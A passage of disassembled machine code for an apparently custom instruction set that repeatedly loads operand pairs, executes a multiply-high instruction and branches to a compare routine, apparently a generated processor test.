2928: 10 40 02 10 ld32 r16,r16
292c: 0d 44 a1 38 wl16 r9,0x2518
2930: 0d 60 01 23 wh16 r9,0x3
2934: 10 40 01 29 ld32 r9,r9
2938: 00 60 01 10 mulh r8,r16
293c: 20 70 03 e2 movepc rret,8
2940: 14 30 f5 b4 br 10 <compare>,#al
2944: 00 10 00 41 add r2,1
2948: 0d 40 65 04 wl16 r8,0x324
294c: 0d 60 01 03 wh16 r8,0x3
2950: 10 40 01 08 ld32 r8,r8
2954: 0d 42 86 00 wl16 r16,0x1420
2958: 0d 60 02 03 wh16 r16,0x3
295c: 10 40 02 10 ld32 r16,r16
2960: 0d 44 a1 3c wl16 r9,0x251c
2964: 0d 60 01 23 wh16 r9,0x3
2968: 10 40 01 29 ld32 r9,r9
296c: 00 60 01 10 mulh r8,r16
2970: 20 70 03 e2 movepc rret,8
2974: 14 30 f5 a7 br 10 <compare>,#al
2978: 00 10 00 41 add r2,1
297c: 0d 40 65 08 wl16 r8,0x328
2980: 0d 60 01 03 wh16 r8,0x3
2984: 10 40 01 08 ld32 r8,r8
2988: 0d 42 86 04 wl16 r16,0x1424
298c: 0d 60 02 03 wh16 r16,0x3
2990: 10 40 02 10 ld32 r16,r16
2994: 0d 44 a5 20 wl16 r9,0x2520
2998: 0d 60 01 23 wh16 r9,0x3
299c: 10 40 01 29 ld32 r9,r9
29a0: 00 60 01 10 mulh r8,r16
29a4: 20 70 03 e2 movepc rret,8
29a8: 14 30 f5 9a br 10 <compare>,#al
29ac: 00 10 00 41 add r2,1
29b0: 0d 40 65 0c wl16 r8,0x32c
29b4: 0d 60 01 03 wh16 r8,0x3
29b8: 10 40 01 08 ld32 r8,r8
29bc: 0d 42 86 08 wl16 r16,0x1428
29c0: 0d 60 02 03 wh16 r16,0x3
29c4: 10 40 02 10 ld32 r16,r16
29c8: 0d 44 a5 24 wl16 r9,0x2524
29cc: 0d 60 01 23 wh16 r9,0x3
29d0: 10 40 01 29 ld32 r9,r9
29d4: 00 60 01 10 mulh r8,r16
29d8: 20 70 03 e2 movepc rret,8
29dc: 14 30 f5 8d br 10 <compare>,#al
29e0: 00 10 00 41 add r2,1
29e4: 0d 40 65 10 wl16 r8,0x330
29e8: 0d 60 01 03 wh16 r8,0x3
29ec: 10 40 01 08 ld32 r8,r8
29f0: 0d 42 86 0c wl16 r16,0x142c
29f4: 0d 60 02 03 wh16 r16,0x3
29f8: 10 40 02 10 ld32 r16,r16
29fc: 0d 44 a5 28 wl16 r9,0x2528
2a00: 0d 60 01 23 wh16 r9,0x3
2a04: 10 40 01 29 ld32 r9,r9
2a08: 00 60 01 10 mulh r8,r16
2a0c: 20 70 03 e2 movepc rret,8
2a10: 14 30 f5 80 br 10 <compare>,#al
2a14: 00 10 00 41 add r2,1
2a18: 0d 40 65 14 wl16 r8,0x334
2a1c: 0d 60 01 03 wh16 r8,0x3
2a20: 10 40 01 08 ld32 r8,r8
2a24: 0d 42 86 10 wl16 r16,0x1430
2a28: 0d 60 02 03 wh16 r16,0x3
2a2c: 10 40 02 10 ld32 r16,r16
2a30: 0d 44 a5 2c wl16 r9,0x252c
2a34: 0d 60 01 23 wh16 r9,0x3
2a38: 10 40 01 29 ld32 r9,r9
2a3c: 00 60 01 10 mulh r8,r16
2a40: 20 70 03 e2 movepc rret,8
2a44: 14 30 f5 73 br 10 <compare>,#al
2a48: 00 10 00 41 add r2,1
2a4c: 0d 40 65 18 wl16 r8,0x338
2a50: 0d 60 01 03 wh16 r8,0x3
2a54: 10 40 01 08 ld32 r8,r8
2a58: 0d 42 86 14 wl16 r16,0x1434
2a5c: 0d 60 02 03 wh16 r16,0x3
2a60: 10 40 02 10 ld32 r16,r16
2a64: 0d 44 a5 30 wl16 r9,0x2530
2a68: 0d 60 01 23 wh16 r9,0x3
2a6c: 10 40 01 29 ld32 r9,r9
2a70: 00 60 01 10 mulh r8,r16
2a74: 20 70 03 e2 movepc rret,8
2a78: 14 30 f5 66 br 10 <compare>,#al
2a7c: 00 10 00 41 add r2,1
2a80: 0d 40 65 1c wl16 r8,0x33c
2a84: 0d 60 01 03 wh16 r8,0x3
2a88: 10 40 01 08 ld32 r8,r8
2a8c: 0d 42 86 18 wl16 r16,0x1438
2a90: 0d 60 02 03 wh16 r16,0x3
2a94: 10 40 02 10 ld32 r16,r16
2a98: 0d 44 a5 34 wl16 r9,0x2534
2a9c: 0d 60 01 23 wh16 r9,0x3
2aa0: 10 40 01 29 ld32 r9,r9
2aa4: 00 60 01 10 mulh r8,r16
2aa8: 20 70 03 e2 movepc rret,8
2aac: 14 30 f5 59 br 10 <compare>,#al
2ab0: 00 10 00 41 add r2,1
2ab4: 0d 40 69 00 wl16 r8,0x340
2ab8: 0d 60 01 03 wh16 r8,0x3
2abc: 10 40 01 08 ld32 r8,r8
2ac0: 0d 42 86 1c wl16 r16,0x143c
2ac4: 0d 60 02 03 wh16 r16,0x3
2ac8: 10 40 02 10 ld32 r16,r16
2acc: 0d 44 a5 38 wl16 r9,0x2538
2ad0: 0d 60 01 23 wh16 r9,0x3
2ad4: 10 40 01 29 ld32 r9,r9
2ad8: 00 60 01 10 mulh r8,r16
2adc: 20 70 03 e2 movepc rret,8
2ae0: 14 30 f5 4c br 10 <compare>,#al
2ae4: 00 10 00 41 add r2,1
2ae8: 0d 40 69 04 wl16 r8,0x344
2aec: 0d 60 01 03 wh16 r8,0x3
2af0: 10 40 01 08 ld32 r8,r8
2af4: 0d 42 8a 00 wl16 r16,0x1440
2af8: 0d 60 02 03 wh16 r16,0x3
2afc: 10 40 02 10 ld32 r16,r16
2b00: 0d 44 a5 3c wl16 r9,0x253c
2b04: 0d 60 01 23 wh16 r9,0x3
2b08: 10 40 01 29 ld32 r9,r9
2b0c: 00 60 01 10 mulh r8,r16
2b10: 20 70 03 e2 movepc rret,8
2b14: 14 30 f5 3f br 10 <compare>,#al
2b18: 00 10 00 41 add r2,1
2b1c: 0d 40 69 08 wl16 r8,0x348
2b20: 0d 60 01 03 wh16 r8,0x3
2b24: 10 40 01 08 ld32 r8,r8
2b28: 0d 42 8a 04 wl16 r16,0x1444
2b2c: 0d 60 02 03 wh16 r16,0x3
2b30: 10 40 02 10 ld32 r16,r16
2b34: 0d 44 a9 20 wl16 r9,0x2540
2b38: 0d 60 01 23 wh16 r9,0x3
2b3c: 10 40 01 29 ld32 r9,r9
2b40: 00 60 01 10 mulh r8,r16
2b44: 20 70 03 e2 movepc rret,8
2b48: 14 30 f5 32 br 10 <compare>,#al
2b4c: 00 10 00 41 add r2,1
2b50: 0d 40 69 0c wl16 r8,0x34c
2b54: 0d 60 01 03 wh16 r8,0x3
2b58: 10 40 01 08 ld32 r8,r8
2b5c: 0d 42 8a 08 wl16 r16,0x1448
2b60: 0d 60 02 03 wh16 r16,0x3
2b64: 10 40 02 10 ld32 r16,r16
2b68: 0d 44 a9 24 wl16 r9,0x2544
2b6c: 0d 60 01 23 wh16 r9,0x3
2b70: 10 40 01 29 ld32 r9,r9
2b74: 00 60 01 10 mulh r8,r16
2b78: 20 70 03 e2 movepc rret,8
2b7c: 14 30 f5 25 br 10 <compare>,#al
2b80: 00 10 00 41 add r2,1
2b84: 0d 40 69 10 wl16 r8,0x350
2b88: 0d 60 01 03 wh16 r8,0x3
2b8c: 10 40 01 08 ld32 r8,r8
2b90: 0d 42 8a 0c wl16 r16,0x144c
2b94: 0d 60 02 03 wh16 r16,0x3
2b98: 10 40 02 10 ld32 r16,r16
2b9c: 0d 44 a9 28 wl16 r9,0x2548
2ba0: 0d 60 01 23 wh16 r9,0x3
2ba4: 10 40 01 29 ld32 r9,r9
2ba8: 00 60 01 10 mulh r8,r16
2bac: 20 70 03 e2 movepc rret,8
2bb0: 14 30 f5 18 br 10 <compare>,#al
2bb4: 00 10 00 41 add r2,1
2bb8: 0d 40 69 14 wl16 r8,0x354
2bbc: 0d 60 01 03 wh16 r8,0x3
2bc0: 10 40 01 08 ld32 r8,r8
2bc4: 0d 42 8a 10 wl16 r16,0x1450
2bc8: 0d 60 02 03 wh16 r16,0x3
2bcc: 10 40 02 10 ld32 r16,r16
2bd0: 0d 44 a9 2c wl16 r9,0x254c
2bd4: 0d 60 01 23 wh16 r9,0x3
2bd8: 10 40 01 29 ld32 r9,r9
2bdc: 00 60 01 10 mulh r8,r16
2be0: 20 70 03 e2 movepc rret,8
2be4: 14 30 f5 0b br 10 <compare>,#al
2be8: 00 10 00 41 add r2,1
2bec: 0d 40 69 18 wl16 r8,0x358
2bf0: 0d 60 01 03 wh16 r8,0x3
2bf4: 10 40 01 08 ld32 r8,r8
2bf8: 0d 42 8a 14 wl16 r16,0x1454
2bfc: 0d 60 02 03 wh16 r16,0x3
2c00: 10 40 02 10 ld32 r16,r16
2c04: 0d 44 a9 30 wl16 r9,0x2550
2c08: 0d 60 01 23 wh16 r9,0x3
2c0c: 10 40 01 29 ld32 r9,r9
2c10: 00 60 01 10 mulh r8,r16
2c14: 20 70 03 e2 movepc rret,8
2c18: 14 30 f4 fe br 10 <compare>,#al
2c1c: 00 10 00 41 add r2,1
2c20: 0d 40 69 1c wl16 r8,0x35c
2c24: 0d 60 01 03 wh16 r8,0x3
2c28: 10 40 01 08 ld32 r8,r8
2c2c: 0d 42 8a 18 wl16 r16,0x1458
2c30: 0d 60 02 03 wh16 r16,0x3
2c34: 10 40 02 10 ld32 r16,r16
2c38: 0d 44 a9 34 wl16 r9,0x2554
2c3c: 0d 60 01 23 wh16 r9,0x3
2c40: 10 40 01 29 ld32 r9,r9
2c44: 00 60 01 10 mulh r8,r16
2c48: 20 70 03 e2 movepc rret,8
2c4c: 14 30 f4 f1 br 10 <compare>,#al
2c50: 00 10 00 41 add r2,1
2c54: 0d 40 6d 00 wl16 r8,0x360
2c58: 0d 60 01 03 wh16 r8,0x3
2c5c: 10 40 01 08 ld32 r8,r8
2c60: 0d 42 8a 1c wl16 r16,0x145c
2c64: 0d 60 02 03 wh16 r16,0x3
2c68: 10 40 02 10 ld32 r16,r16
2c6c: 0d 44 a9 38 wl16 r9,0x2558
2c70: 0d 60 01 23 wh16 r9,0x3
2c74: 10 40 01 29 ld32 r9,r9
2c78: 00 60 01 10 mulh r8,r16
2c7c: 20 70 03 e2 movepc rret,8
2c80: 14 30 f4 e4 br 10 <compare>,#al
2c84: 00 10 00 41 add r2,1
2c88: 0d 40 6d 04 wl16 r8,0x364
2c8c: 0d 60 01 03 wh16 r8,0x3
2c90: 10 40 01 08 ld32 r8,r8
2c94: 0d 42 8e 00 wl16 r16,0x1460
2c98: 0d 60 02 03 wh16 r16,0x3
2c9c: 10 40 02 10 ld32 r16,r16
2ca0: 0d 44 a9 3c wl16 r9,0x255c
2ca4: 0d 60 01 23 wh16 r9,0x3
2ca8: 10 40 01 29 ld32 r9,r9
2cac: 00 60 01 10 mulh r8,r16
2cb0: 20 70 03 e2 movepc rret,8
2cb4: 14 30 f4 d7 br 10 <compare>,#al
2cb8: 00 10 00 41 add r2,1
2cbc: 0d 40 6d 08 wl16 r8,0x368
2cc0: 0d 60 01 03 wh16 r8,0x3
2cc4: 10 40 01 08 ld32 r8,r8
2cc8: 0d 42 8e 04 wl16 r16,0x1464
2ccc: 0d 60 02 03 wh16 r16,0x3
2cd0: 10 40 02 10 ld32 r16,r16
2cd4: 0d 44 ad 20 wl16 r9,0x2560
2cd8: 0d 60 01 23 wh16 r9,0x3
2cdc: 10 40 01 29 ld32 r9,r9
2ce0: 00 60 01 10 mulh r8,r16
2ce4: 20 70 03 e2 movepc rret,8
2ce8: 14 30 f4 ca br 10 <compare>,#al
2cec: 00 10 00 41 add r2,1
2cf0: 0d 40 6d 0c wl16 r8,0x36c
2cf4: 0d 60 01 03 wh16 r8,0x3
2cf8: 10 40 01 08 ld32 r8,r8
2cfc: 0d 42 8e 08 wl16 r16,0x1468
2d00: 0d 60 02 03 wh16 r16,0x3
2d04: 10 40 02 10 ld32 r16,r16
2d08: 0d 44 ad 24 wl16 r9,0x2564
2d0c: 0d 60 01 23 wh16 r9,0x3
2d10: 10 40 01 29 ld32 r9,r9
2d14: 00 60 01 10 mulh r8,r16
2d18: 20 70 03 e2 movepc rret,8
2d1c: 14 30 f4 bd br 10 <compare>,#al
2d20: 00 10 00 41 add r2,1
2d24: 0d 40 6d 10 wl16 r8,0x370
2d28: 0d 60 01 03 wh16 r8,0x3
2d2c: 10 40 01 08 ld32 r8,r8
2d30: 0d 42 8e 0c wl16 r16,0x146c
2d34: 0d 60 02 03 wh16 r16,0x3
2d38: 10 40 02 10 ld32 r16,r16
2d3c: 0d 44 ad 28 wl16 r9,0x2568
2d40: 0d 60 01 23 wh16 r9,0x3
2d44: 10 40 01 29 ld32 r9,r9
2d48: 00 60 01 10 mulh r8,r16
2d4c: 20 70 03 e2 movepc rret,8
2d50: 14 30 f4 b0 br 10 <compare>,#al
2d54: 00 10 00 41 add r2,1
2d58: 0d 40 6d 14 wl16 r8,0x374
2d5c: 0d 60 01 03 wh16 r8,0x3
2d60: 10 40 01 08 ld32 r8,r8
2d64: 0d 42 8e 10 wl16 r16,0x1470
2d68: 0d 60 02 03 wh16 r16,0x3
2d6c: 10 40 02 10 ld32 r16,r16
2d70: 0d 44 ad 2c wl16 r9,0x256c
2d74: 0d 60 01 23 wh16 r9,0x3
2d78: 10 40 01 29 ld32 r9,r9
2d7c: 00 60 01 10 mulh r8,r16
2d80: 20 70 03 e2 movepc rret,8
2d84: 14 30 f4 a3 br 10 <compare>,#al
2d88: 00 10 00 41 add r2,1
2d8c: 0d 40 6d 18 wl16 r8,0x378
2d90: 0d 60 01 03 wh16 r8,0x3
2d94: 10 40 01 08 ld32 r8,r8
2d98: 0d 42 8e 14 wl16 r16,0x1474
2d9c: 0d 60 02 03 wh16 r16,0x3
2da0: 10 40 02 10 ld32 r16,r16
2da4: 0d 44 ad 30 wl16 r9,0x2570
2da8: 0d 60 01 23 wh16 r9,0x3
2dac: 10 40 01 29 ld32 r9,r9
2db0: 00 60 01 10 mulh r8,r16
2db4: 20 70 03 e2 movepc rret,8
2db8: 14 30 f4 96 br 10 <compare>,#al
2dbc: 00 10 00 41 add r2,1
2dc0: 0d 40 6d 1c wl16 r8,0x37c
2dc4: 0d 60 01 03 wh16 r8,0x3
2dc8: 10 40 01 08 ld32 r8,r8
2dcc: 0d 42 8e 18 wl16 r16,0x1478
2dd0: 0d 60 02 03 wh16 r16,0x3
2dd4: 10 40 02 10 ld32 r16,r16
2dd8: 0d 44 ad 34 wl16 r9,0x2574
2ddc: 0d 60 01 23 wh16 r9,0x3
2de0: 10 40 01 29 ld32 r9,r9
2de4: 00 60 01 10 mulh r8,r16
2de8: 20 70 03 e2 movepc rret,8
2dec: 14 30 f4 89 br 10 <compare>,#al
2df0: 00 10 00 41 add r2,1
2df4: 0d 40 71 00 wl16 r8,0x380
2df8: 0d 60 01 03 wh16 r8,0x3
2dfc: 10 40 01 08 ld32 r8,r8
2e00: 0d 42 8e 1c wl16 r16,0x147c
2e04: 0d 60 02 03 wh16 r16,0x3
2e08: 10 40 02 10 ld32 r16,r16
2e0c: 0d 44 ad 38 wl16 r9,0x2578
2e10: 0d 60 01 23 wh16 r9,0x3
2e14: 10 40 01 29 ld32 r9,r9
2e18: 00 60 01 10 mulh r8,r16
2e1c: 20 70 03 e2 movepc rret,8
2e20: 14 30 f4 7c br 10 <compare>,#al
2e24: 00 10 00 41 add r2,1
2e28: 0d 40 71 04 wl16 r8,0x384
2e2c: 0d 60 01 03 wh16 r8,0x3
2e30: 10 40 01 08 ld32 r8,r8
2e34: 0d 42 92 00 wl16 r16,0x1480
2e38: 0d 60 02 03 wh16 r16,0x3
2e3c: 10 40 02 10 ld32 r16,r16
2e40: 0d 44 ad 3c wl16 r9,0x257c
2e44: 0d 60 01 23 wh16 r9,0x3
2e48: 10 40 01 29 ld32 r9,r9
2e4c: 00 60 01 10 mulh r8,r16
2e50: 20 70 03 e2 movepc rret,8
2e54: 14 30 f4 6f br 10 <compare>,#al
2e58: 00 10 00 41 add r2,1
2e5c: 0d 40 71 08 wl16 r8,0x388
2e60: 0d 60 01 03 wh16 r8,0x3
2e64: 10 40 01 08 ld32 r8,r8
2e68: 0d 42 92 04 wl16 r16,0x1484
2e6c: 0d 60 02 03 wh16 r16,0x3
2e70: 10 40 02 10 ld32 r16,r16
2e74: 0d 44 b1 20 wl16 r9,0x2580
2e78: 0d 60 01 23 wh16 r9,0x3
2e7c: 10 40 01 29 ld32 r9,r9
2e80: 00 60 01 10 mulh r8,r16
2e84: 20 70 03 e2 movepc rret,8
2e88: 14 30 f4 62 br 10 <compare>,#al
2e8c: 00 10 00 41 add r2,1
2e90: 0d 40 71 0c wl16 r8,0x38c
2e94: 0d 60 01 03 wh16 r8,0x3
2e98: 10 40 01 08 ld32 r8,r8
2e9c: 0d 42 92 08 wl16 r16,0x1488
2ea0: 0d 60 02 03 wh16 r16,0x3
2ea4: 10 40 02 10 ld32 r16,r16
2ea8: 0d 44 b1 24 wl16 r9,0x2584
2eac: 0d 60 01 23 wh16 r9,0x3
2eb0: 10 40 01 29 ld32 r9,r9
2eb4: 00 60 01 10 mulh r8,r16
2eb8: 20 70 03 e2 movepc rret,8
2ebc: 14 30 f4 55 br 10 <compare>,#al
2ec0: 00 10 00 41 add r2,1
2ec4: 0d 40 71 10 wl16 r8,0x390
2ec8: 0d 60 01 03 wh16 r8,0x3
2ecc: 10 40 01 08 ld32 r8,r8
2ed0: 0d 42 92 0c wl16 r16,0x148c
2ed4: 0d 60 02 03 wh16 r16,0x3
2ed8: 10 40 02 10 ld32 r16,r16
2edc: 0d 44 b1 28 wl16 r9,0x2588
2ee0: 0d 60 01 23 wh16 r9,0x3
2ee4: 10 40 01 29 ld32 r9,r9
2ee8: 00 60 01 10 mulh r8,r16
2eec: 20 70 03 e2 movepc rret,8
2ef0: 14 30 f4 48 br 10 <compare>,#al
2ef4: 00 10 00 41 add r2,1
2ef8: 0d 40 71 14 wl16 r8,0x394
2efc: 0d 60 01 03 wh16 r8,0x3
2f00: 10 40 01 08 ld32 r8,r8
2f04: 0d 42 92 10 wl16 r16,0x1490
2f08: 0d 60 02 03 wh16 r16,0x3
2f0c: 10 40 02 10 ld32 r16,r16
2f10: 0d 44 b1 2c wl16 r9,0x258c
2f14: 0d 60 01 23 wh16 r9,0x3
2f18: 10 40 01 29 ld32 r9,r9
2f1c: 00 60 01 10 mulh r8,r16
2f20: 20 70 03 e2 movepc rret,8
2f24: 14 30 f4 3b br 10 <compare>,#al
2f28: 00 10 00 41 add r2,1
2f2c: 0d 40 71 18 wl16 r8,0x398
2f30: 0d 60 01 03 wh16 r8,0x3
2f34: 10 40 01 08 ld32 r8,r8
2f38: 0d 42 92 14 wl16 r16,0x1494
2f3c: 0d 60 02 03 wh16 r16,0x3
2f40: 10 40 02 10 ld32 r16,r16
2f44: 0d 44 b1 30 wl16 r9,0x2590
2f48: 0d 60 01 23 wh16 r9,0x3
2f4c: 10 40 01 29 ld32 r9,r9
2f50: 00 60 01 10 mulh r8,r16
2f54: 20 70 03 e2 movepc rret,8
2f58: 14 30 f4 2e br 10 <compare>,#al
2f5c: 00 10 00 41 add r2,1
2f60: 0d 40 71 1c wl16 r8,0x39c
2f64: 0d 60 01 03 wh16 r8,0x3
2f68: 10 40 01 08 ld32 r8,r8
2f6c: 0d 42 92 18 wl16 r16,0x1498
2f70: 0d 60 02 03 wh16 r16,0x3
2f74: 10 40 02 10 ld32 r16,r16
2f78: 0d 44 b1 34 wl16 r9,0x2594
2f7c: 0d 60 01 23 wh16 r9,0x3
2f80: 10 40 01 29 ld32 r9,r9
2f84: 00 60 01 10 mulh r8,r16
2f88: 20 70 03 e2 movepc rret,8
2f8c: 14 30 f4 21 br 10 <compare>,#al
2f90: 00 10 00 41 add r2,1
2f94: 0d 40 75 00 wl16 r8,0x3a0
2f98: 0d 60 01 03 wh16 r8,0x3
2f9c: 10 40 01 08 ld32 r8,r8
2fa0: 0d 42 92 1c wl16 r16,0x149c
2fa4: 0d 60 02 03 wh16 r16,0x3
2fa8: 10 40 02 10 ld32 r16,r16
2fac: 0d 44 b1 38 wl16 r9,0x2598
2fb0: 0d 60 01 23 wh16 r9,0x3
2fb4: 10 40 01 29 ld32 r9,r9
2fb8: 00 60 01 10 mulh r8,r16
2fbc: 20 70 03 e2 movepc rret,8
2fc0: 14 30 f4 14 br 10 <compare>,#al
2fc4: 00 10 00 41 add r2,1
2fc8: 0d 40 75 04 wl16 r8,0x3a4
2fcc: 0d 60 01 03 wh16 r8,0x3
2fd0: 10 40 01 08 ld32 r8,r8
2fd4: 0d 42 96 00 wl16 r16,0x14a0
2fd8: 0d 60 02 03 wh16 r16,0x3
2fdc: 10 40 02 10 ld32 r16,r16
2fe0: 0d 44 b1 3c wl16 r9,0x259c
2fe4: 0d 60 01 23 wh16 r9,0x3
2fe8: 10 40 01 29 ld32 r9,r9
2fec: 00 60 01 10 mulh r8,r16
2ff0: 20 70 03 e2 movepc rret,8
2ff4: 14 30 f4 07 br 10 <compare>,#al
2ff8: 00 10 00 41 add r2,1
2ffc: 0d 40 75 08 wl16 r8,0x3a8
3000: 0d 60 01 03 wh16 r8,0x3
3004: 10 40 01 08 ld32 r8,r8
3008: 0d 42 96 04 wl16 r16,0x14a4
300c: 0d 60 02 03 wh16 r16,0x3
3010: 10 40 02 10 ld32 r16,r16
3014: 0d 44 b5 20 wl16 r9,0x25a0
3018: 0d 60 01 23 wh16 r9,0x3
301c: 10 40 01 29 ld32 r9,r9
3020: 00 60 01 10 mulh r8,r16
3024: 20 70 03 e2 movepc rret,8
3028: 14 30 f3 fa br 10 <compare>,#al
302c: 00 10 00 41 add r2,1
3030: 0d 40 75 0c wl16 r8,0x3ac
3034: 0d 60 01 03 wh16 r8,0x3
3038: 10 40 01 08 ld32 r8,r8
303c: 0d 42 96 08 wl16 r16,0x14a8
3040: 0d 60 02 03 wh16 r16,0x3
3044: 10 40 02 10 ld32 r16,r16
3048: 0d 44 b5 24 wl16 r9,0x25a4
304c: 0d 60 01 23 wh16 r9,0x3
3050: 10 40 01 29 ld32 r9,r9
3054: 00 60 01 10 mulh r8,r16
3058: 20 70 03 e2 movepc rret,8
305c: 14 30 f3 ed br 10 <compare>,#al
3060: 00 10 00 41 add r2,1
3064: 0d 40 75 10 wl16 r8,0x3b0
3068: 0d 60 01 03 wh16 r8,0x3
306c: 10 40 01 08 ld32 r8,r8
3070: 0d 42 96 0c wl16 r16,0x14ac
3074: 0d 60 02 03 wh16 r16,0x3
3078: 10 40 02 10 ld32 r16,r16
307c: 0d 44 b5 28 wl16 r9,0x25a8
3080: 0d 60 01 23 wh16 r9,0x3
3084: 10 40 01 29 ld32 r9,r9
3088: 00 60 01 10 mulh r8,r16
308c: 20 70 03 e2 movepc rret,8
3090: 14 30 f3 e0 br 10 <compare>,#al
3094: 00 10 00 41 add r2,1
3098: 0d 40 75 14 wl16 r8,0x3b4
309c: 0d 60 01 03 wh16 r8,0x3
30a0: 10 40 01 08 ld32 r8,r8
30a4: 0d 42 96 10 wl16 r16,0x14b0
30a8: 0d 60 02 03 wh16 r16,0x3
30ac: 10 40 02 10 ld32 r16,r16
30b0: 0d 44 b5 2c wl16 r9,0x25ac
30b4: 0d 60 01 23 wh16 r9,0x3
30b8: 10 40 01 29 ld32 r9,r9
30bc: 00 60 01 10 mulh r8,r16
30c0: 20 70 03 e2 movepc rret,8
30c4: 14 30 f3 d3 br 10 <compare>,#al
30c8: 00 10 00 41 add r2,1
30cc: 0d 40 75 18 wl16 r8,0x3b8
30d0: 0d 60 01 03 wh16 r8,0x3
30d4: 10 40 01 08 ld32 r8,r8
30d8: 0d 42 96 14 wl16 r16,0x14b4
30dc: 0d 60 02 03 wh16 r16,0x3
30e0: 10 40 02 10 ld32 r16,r16
30e4: 0d 44 b5 30 wl16 r9,0x25b0
30e8: 0d 60 01 23 wh16 r9,0x3
30ec: 10 40 01 29 ld32 r9,r9
30f0: 00 60 01 10 mulh r8,r16
30f4: 20 70 03 e2 movepc rret,8
30f8: 14 30 f3 c6 br 10 <compare>,#al
30fc: 00 10 00 41 add r2,1
3100: 0d 40 75 1c wl16 r8,0x3bc
3104: 0d 60 01 03 wh16 r8,0x3
3108: 10 40 01 08 ld32 r8,r8
310c: 0d 42 96 18 wl16 r16,0x14b8
3110: 0d 60 02 03 wh16 r16,0x3
3114: 10 40 02 10 ld32 r16,r16
3118: 0d 44 b5 34 wl16 r9,0x25b4
311c: 0d 60 01 23 wh16 r9,0x3
3120: 10 40 01 29 ld32 r9,r9
3124: 00 60 01 10 mulh r8,r16
3128: 20 70 03 e2 movepc rret,8
312c: 14 30 f3 b9 br 10 <compare>,#al
3130: 00 10 00 41 add r2,1
3134: 0d 40 79 00 wl16 r8,0x3c0
3138: 0d 60 01 03 wh16 r8,0x3
313c: 10 40 01 08 ld32 r8,r8
3140: 0d 42 96 1c wl16 r16,0x14bc
3144: 0d 60 02 03 wh16 r16,0x3
3148: 10 40 02 10 ld32 r16,r16
314c: 0d 44 b5 38 wl16 r9,0x25b8
3150: 0d 60 01 23 wh16 r9,0x3
3154: 10 40 01 29 ld32 r9,r9
3158: 00 60 01 10 mulh r8,r16
315c: 20 70 03 e2 movepc rret,8
3160: 14 30 f3 ac br 10 <compare>,#al
3164: 00 10 00 41 add r2,1
3168: 0d 40 79 04 wl16 r8,0x3c4
316c: 0d 60 01 03 wh16 r8,0x3
3170: 10 40 01 08 ld32 r8,r8
3174: 0d 42 9a 00 wl16 r16,0x14c0
3178: 0d 60 02 03 wh16 r16,0x3
317c: 10 40 02 10 ld32 r16,r16
3180: 0d 44 b5 3c wl16 r9,0x25bc
3184: 0d 60 01 23 wh16 r9,0x3
3188: 10 40 01 29 ld32 r9,r9
318c: 00 60 01 10 mulh r8,r16
3190: 20 70 03 e2 movepc rret,8
3194: 14 30 f3 9f br 10 <compare>,#al
3198: 00 10 00 41 add r2,1
319c: 0d 40 79 08 wl16 r8,0x3c8
31a0: 0d 60 01 03 wh16 r8,0x3
31a4: 10 40 01 08 ld32 r8,r8
31a8: 0d 42 9a 04 wl16 r16,0x14c4
31ac: 0d 60 02 03 wh16 r16,0x3
31b0: 10 40 02 10 ld32 r16,r16
31b4: 0d 44 b9 20 wl16 r9,0x25c0
31b8: 0d 60 01 23 wh16 r9,0x3
31bc: 10 40 01 29 ld32 r9,r9
31c0: 00 60 01 10 mulh r8,r16
31c4: 20 70 03 e2 movepc rret,8
31c8: 14 30 f3 92 br 10 <compare>,#al
31cc: 00 10 00 41 add r2,1
31d0: 0d 40 79 0c wl16 r8,0x3cc
31d4: 0d 60 01 03 wh16 r8,0x3
31d8: 10 40 01 08 ld32 r8,r8
31dc: 0d 42 9a 08 wl16 r16,0x14c8
31e0: 0d 60 02 03 wh16 r16,0x3
31e4: 10 40 02 10 ld32 r16,r16
31e8: 0d 44 b9 24 wl16 r9,0x25c4
31ec: 0d 60 01 23 wh16 r9,0x3
31f0: 10 40 01 29 ld32 r9,r9
31f4: 00 60 01 10 mulh r8,r16
31f8: 20 70 03 e2 movepc rret,8
31fc: 14 30 f3 85 br 10 <compare>,#al
3200: 00 10 00 41 add r2,1
3204: 0d 40 79 10 wl16 r8,0x3d0
3208: 0d 60 01 03 wh16 r8,0x3
320c: 10 40 01 08 ld32 r8,r8
3210: 0d 42 9a 0c wl16 r16,0x14cc
3214: 0d 60 02 03 wh16 r16,0x3
3218: 10 40 02 10 ld32 r16,r16
321c: 0d 44 b9 28 wl16 r9,0x25c8
3220: 0d 60 01 23 wh16 r9,0x3
3224: 10 40 01 29 ld32 r9,r9
3228: 00 60 01 10 mulh r8,r16
322c: 20 70 03 e2 movepc rret,8
3230: 14 30 f3 78 br 10 <compare>,#al
3234: 00 10 00 41 add r2,1
3238: 0d 40 79 14 wl16 r8,0x3d4
323c: 0d 60 01 03 wh16 r8,0x3
3240: 10 40 01 08 ld32 r8,r8
3244: 0d 42 9a 10 wl16 r16,0x14d0
3248: 0d 60 02 03 wh16 r16,0x3
324c: 10 40 02 10 ld32 r16,r16
3250: 0d 44 b9 2c wl16 r9,0x25cc
3254: 0d 60 01 23 wh16 r9,0x3
3258: 10 40 01 29 ld32 r9,r9
325c: 00 60 01 10 mulh r8,r16
3260: 20 70 03 e2 movepc rret,8
3264: 14 30 f3 6b br 10 <compare>,#al
3268: 00 10 00 41 add r2,1
326c: 0d 40 79 18 wl16 r8,0x3d8
3270: 0d 60 01 03 wh16 r8,0x3
3274: 10 40 01 08 ld32 r8,r8
3278: 0d 42 9a 14 wl16 r16,0x14d4
327c: 0d 60 02 03 wh16 r16,0x3
3280: 10 40 02 10 ld32 r16,r16
3284: 0d 44 b9 30 wl16 r9,0x25d0
3288: 0d 60 01 23 wh16 r9,0x3
328c: 10 40 01 29 ld32 r9,r9
3290: 00 60 01 10 mulh r8,r16
3294: 20 70 03 e2 movepc rret,8
3298: 14 30 f3 5e br 10 <compare>,#al
329c: 00 10 00 41 add r2,1
32a0: 0d 40 79 1c wl16 r8,0x3dc
32a4: 0d 60 01 03 wh16 r8,0x3
32a8: 10 40 01 08 ld32 r8,r8
32ac: 0d 42 9a 18 wl16 r16,0x14d8
32b0: 0d 60 02 03 wh16 r16,0x3
32b4: 10 40 02 10 ld32 r16,r16
32b8: 0d 44 b9 34 wl16 r9,0x25d4
32bc: 0d 60 01 23 wh16 r9,0x3
32c0: 10 40 01 29 ld32 r9,r9
32c4: 00 60 01 10 mulh r8,r16
32c8: 20 70 03 e2 movepc rret,8
32cc: 14 30 f3 51 br 10 <compare>,#al
32d0: 00 10 00 41 add r2,1
32d4: 0d 40 7d 00 wl16 r8,0x3e0
32d8: 0d 60 01 03 wh16 r8,0x3
